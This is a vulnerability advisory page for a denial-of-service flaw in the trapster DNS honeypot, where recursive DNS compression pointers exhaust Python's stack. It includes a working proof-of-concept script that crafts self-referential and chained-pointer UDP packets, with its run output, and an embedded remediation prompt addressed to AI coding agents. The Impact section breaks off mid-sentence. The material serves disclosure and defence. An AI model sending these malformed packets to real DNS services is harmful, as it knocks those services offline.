# GHSA-mxwc-wh95-pw4g: Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler

> Unauthenticated attackers can crash the DNS honeypot handler via recursive compression pointers, causing denial of service.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 8 Jul 2026

## What is GHSA-mxwc-wh95-pw4g?

GHSA-mxwc-wh95-pw4g is a denial of service vulnerability in trapster, published on 8 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

`trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses **once per RFC 1035 compression pointer** with **no cycle detection and no depth bound**. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).

## Severity

Medium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.

## Affected component

- File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` → `decode_dns_message`).
- Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` → `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port.
- Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`.

## Details

`decode_labels` implements RFC 1035 §4.1.4 name compression:

```python
def decode_labels(message, offset):
    labels = []
    while True:
        length, = struct.unpack_from("!B", message, offset)
        if (length & 0xC0) == 0xC0:
            pointer, = struct.unpack_from("!H", message, offset)
            offset += 2
            return labels + decode_labels(message, pointer & 0x3FFF), offset   # <-- recurses per pointer
        ...
```

Each compression pointer triggers a fresh recursive call to `decode_labels`. There is:

- **No cycle detection** — a pointer that targets its own offset recurses forever.
- **No depth bound** — a chain of distinct forward pointers recurses once per pointer.

Either shape exhausts the Python stack and raises `RecursionError`. `decode_dns_message` does not catch it, and in `DnsUdpProtocol.datagram_received` the call `dns.decode_dns_message(data)` is unguarded, so the exception propagates out of `datagram_received` into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.

This is the same class of bug fixed upstream in `python-zeroconf` (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.

## Proof of Concept

Real-deploy E2E. The actual `trapster.modules.dns.DnsHoneypot` server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes `datagram_received`.

`e2e_poc.py`:

```python
import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger

HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []

def build_benign_query(qname=b"example.com"):
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
    return header + labels + struct.pack("!2H", 1, 1)

def build_self_pointer():
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    name = struct.pack("!H", 0xC000 | 12)   # pointer to offset 12 == this name
    return header + name + struct.pack("!2H", 1, 1)

def build_pointer_chain(depth=2000):
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    name = struct.pack("!H", 0xC000 | 18)
    qtail = struct.pack("!2H", 1, 1)
    chain = bytearray()
    for i in range(depth):
        chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
    chain += b"\x00"
    return header + name + qtail + bytes(chain)

def send_udp(payload, timeout=1.0):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
    s.sendto(payload, (HOST, PORT))
    try: return s.recvfrom(4096)[0]
    except socket.timeout: return None
    finally: s.close()

async def main():
    loop = asyncio.get_running_loop()
    def handler(loopobj, context):
        exc = context.get("exception")
        captured_loop_exceptions.append((repr(exc), context.get("message")))
        print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
    loop.set_exception_handler(handler)

    hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
                     logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
    await hp.start(); await asyncio.sleep(0.4)
    print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")

    print("=== NEGATIVE CONTROL: benign query example.com A ===")
    captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
    print(f"  loop exceptions after benign packet: {len(captured_loop_exceptions)}")
    assert len(captured_loop_exceptions) == 0
    print("  -> benign packet parsed cleanly, no exception\n")

    print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
    captured_loop_exceptions.clear(); pkt = build_self_pointer()
    print(f"  packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
    send_udp(pkt); await asyncio.sleep(0.5)
    print(f"  loop exceptions captured: {len(captured_loop_exceptions)}")
    for e in captured_loop_exceptions: print(f"    {e}")
    assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
    print("  -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")

    print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
    captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
    print(f"  packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
    send_udp(pkt); await asyncio.sleep(0.5)
    print(f"  loop exceptions captured: {len(captured_loop_exceptions)}")
    for e in captured_loop_exceptions: print(f"    {e}")
    assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
    print("  -> RecursionError escaped datagram_received (DoS, no depth bound)\n")

    await hp.stop(); print("ALL ASSERTIONS PASSED")

if __name__ == "__main__":
    sys.setrecursionlimit(1000)
    asyncio.run(main())
```

Verbatim run against the deployed honeypot at commit `23156739de23816657cbc4582ad32094ed1cab43`:

```
[deploy] DnsHoneypot listening on udp://127.0.0.1:15353

=== NEGATIVE CONTROL: benign query example.com A ===
  loop exceptions after benign packet: 0
  -> benign packet parsed cleanly, no exception

=== VECTOR A: single self-referential compression pointer (cycle) ===
  packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
  loop exceptions captured: 1
    ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
  -> RecursionError escaped datagram_received (DoS, no cycle guard)

=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
  packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
  loop exceptions captured: 1
    ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
  -> RecursionError escaped datagram_received (DoS, no depth bound)

ALL ASSERTIONS PASSED
```

The negative control (a well-formed `example.com` A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.

## Impact

Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can c

## Which versions are affected by GHSA-mxwc-wh95-pw4g?

2 open source packages ship an affected version, including trapster.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `trapster` | PyPI | All versions to 1.2.0 | None |
| `trapster` | PyPI | All versions to 1.2.0 | None |

## How do I fix GHSA-mxwc-wh95-pw4g?

No fix has been published for GHSA-mxwc-wh95-pw4g yet. Limit exposure of the affected software until one is available.

## Is GHSA-mxwc-wh95-pw4g being exploited?

There is no known exploitation of GHSA-mxwc-wh95-pw4g in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-mxwc-wh95-pw4g and fix it if it is affected.

What it is: GHSA-mxwc-wh95-pw4g is a denial of service vulnerability in trapster, published on 8 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-mxwc-wh95-pw4g in the wild and no public exploit code.

Affected packages and fixed versions:
- trapster (PyPI): affected all versions up to 1.2.0; no fix listed
- trapster (PyPI): affected all versions up to 1.2.0; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-mxwc-wh95-pw4g/ (Markdown: https://insights.sbomify.com/GHSA-mxwc-wh95-pw4g/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-mxwc-wh95-pw4g

---
From sbomify Insights: https://insights.sbomify.com/GHSA-mxwc-wh95-pw4g/
Summaries are generated and may contain mistakes; the official description above is the record.